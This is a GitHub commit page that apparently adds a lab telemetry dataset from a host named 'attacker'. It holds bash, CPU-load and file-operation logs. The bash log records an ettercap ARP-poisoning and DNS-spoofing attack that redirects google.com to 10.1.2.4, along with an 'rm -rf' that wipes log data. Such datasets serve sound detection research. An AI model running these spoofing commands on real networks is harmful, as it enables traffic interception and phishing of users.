Skip to content

Commit

Permalink
pushing dnsmitm data
Browse files Browse the repository at this point in the history
  • Loading branch information
test committed Feb 4, 2025
1 parent bc1ac9a commit 77f9da7
Show file tree
Hide file tree
Showing 782 changed files with 33,205 additions and 33,208 deletions.
13 changes: 7 additions & 6 deletions data/dnsmitm-with-json/0/attacker-data/bash-data.txt
View file
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":10,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370190,/home/blankcanvas,sudo /bin/bash -c 'echo www.google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":12,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370213,/home/blankcanvas,sudo kill $(ps -e | grep ettercap | awk '{print $1}'),,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":6,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370172,/home/blankcanvas,sudo rm -rf /var/log/discern/data/*,,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":7,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370180,/home/blankcanvas,sudo systemctl restart discern-proc,,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":8,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370189,/home/blankcanvas,sudo /bin/bash -c 'echo *.google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370215","Host":"attacker","User":"blankcanvas","Count":9,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738370189,/home/blankcanvas,sudo /bin/bash -c 'echo google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":10,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687129,/home/blankcanvas,sudo /bin/bash -c 'echo www.google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":11,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687130,/home/blankcanvas,sudo ettercap -T -S -i eth1 -M arp:remote -P dns_spoof /10.1.2.3// /10.1.2.2//,%ettercap 0.8.3.1 copyright 2001-2020 Ettercap Development Team\nListening on:\n eth1 -> 92:E3:45:FA:8E:EE\n\t 10.1.2.4/255.255.255.0\n\t fe80::90e3:45ff:fefa:8eee/64\nPrivileges dropped to EUID 65534 EGID 65534...\n 34 plugins\n 42 protocol dissectors\n 57 ports monitored\n28230 mac vendor fingerprint\n1766 tcp OS fingerprint\n2182 known services\nLua: no scripts were specified, not starting up!\nScanning for merged targets (2 hosts)...\n* |==================================================>| 100.00 %%\n2 h\n%,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":12,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687153,/home/blankcanvas,sudo kill $(ps -e | grep ettercap | awk '{print $1}'),,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":6,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687112,/home/blankcanvas,sudo rm -rf /var/log/discern/data/*,,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":7,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687120,/home/blankcanvas,sudo systemctl restart discern-proc,,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":8,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687129,/home/blankcanvas,sudo /bin/bash -c 'echo *.google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157","Host":"attacker","User":"blankcanvas","Count":9,"Cmds":"CMBEGIN,attacker.infra.real.dnsmitm.blankcanvas,1738687129,/home/blankcanvas,sudo /bin/bash -c 'echo google.com A 10.1.2.4 >> /etc/ettercap/etter.dns',,[email protected]\r\n","DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
22 changes: 11 additions & 11 deletions data/dnsmitm-with-json/0/attacker-data/cpu-load-data.txt
View file
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
{"TimeStamp":"1738370174", "Load":[0], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Load":[26.999999999999602], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370186", "Load":[7.070707070707752], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370192", "Load":[100], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370198", "Load":[99.99999999999858], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370204", "Load":[99.99999999999858], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370210", "Load":[99.99999999999856], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370216", "Load":[27.17391304347947], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370222", "Load":[14.285714285714906], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370228", "Load":[2.9702970297029423], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370234", "Load":[0], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687114", "Load":[0.9900990099000985], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Load":[29.591836734695416], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687126", "Load":[0], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687132", "Load":[100], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687138", "Load":[100], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687144", "Load":[100], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687150", "Load":[100], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687156", "Load":[0], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687162", "Load":[15.841584158415648], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687168", "Load":[2.000000000001137], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687174", "Load":[0], "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
69 changes: 33 additions & 36 deletions data/dnsmitm-with-json/0/attacker-data/file-data.txt
View file
Original file line number Diff line number Diff line change
@@ -1,36 +1,33 @@
{"TimeStamp":"1738370176", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370176", "Op":1, "Location":"/tmp/sshcmds.16532.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370176", "Op":2, "Location":"/tmp/sshcmds.16532.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370176", "Op":4, "Location":"/tmp/sshcmds.16532.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Op":1, "Location":"/tmp/sshcmds.27632.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Op":2, "Location":"/tmp/sshcmds.27632.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370180", "Op":4, "Location":"/tmp/sshcmds.27632.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":1, "Location":"/tmp/sshcmds.20310.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/sshcmds.20310.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":4, "Location":"/tmp/sshcmds.20310.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":1, "Location":"/tmp/sshcmds.30403.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/sshcmds.30403.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":4, "Location":"/tmp/sshcmds.30403.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370189", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":1, "Location":"/tmp/sshcmds.16788.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":2, "Location":"/tmp/sshcmds.16788.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":4, "Location":"/tmp/sshcmds.16788.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":1, "Location":"/tmp/sshcmds.24033.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370190", "Op":2, "Location":"/tmp/sshcmds.24033.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370213", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370213", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370213", "Op":1, "Location":"/tmp/sshcmds.4136.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370213", "Op":2, "Location":"/tmp/sshcmds.4136.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370214", "Op":4, "Location":"/tmp/sshcmds.4136.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370217", "Op":4, "Location":"/tmp/sshcmds.24033.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370240", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738370240", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687112", "Op":4, "Location":"/tmp/sshcmds.586.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Op":1, "Location":"/tmp/sshcmds.20959.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Op":2, "Location":"/tmp/sshcmds.20959.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687120", "Op":4, "Location":"/tmp/sshcmds.20959.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":1, "Location":"/tmp/sshcmds.6549.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/sshcmds.6549.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":4, "Location":"/tmp/sshcmds.6549.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":1, "Location":"/tmp/sshcmds.30229.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/sshcmds.30229.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":4, "Location":"/tmp/sshcmds.30229.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":1, "Location":"/tmp/sshcmds.11070.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":2, "Location":"/tmp/sshcmds.11070.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687129", "Op":4, "Location":"/tmp/sshcmds.11070.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687130", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687130", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687130", "Op":1, "Location":"/tmp/sshcmds.7859.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687130", "Op":2, "Location":"/tmp/sshcmds.7859.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687153", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687153", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687153", "Op":1, "Location":"/tmp/sshcmds.32148.sh", "Permissions":420, "Owner":"blankcanvas", "Group":"blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687153", "Op":2, "Location":"/tmp/sshcmds.32148.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687153", "Op":4, "Location":"/tmp/sshcmds.32148.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687157", "Op":4, "Location":"/tmp/sshcmds.7859.sh", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687180", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
{"TimeStamp":"1738687180", "Op":2, "Location":"/tmp/count.blankcanvas", "DevID":"attacker.infra.real.dnsmitm.blankcanvas"}
Loading

0 comments on commit 77f9da7

Please sign in to comment.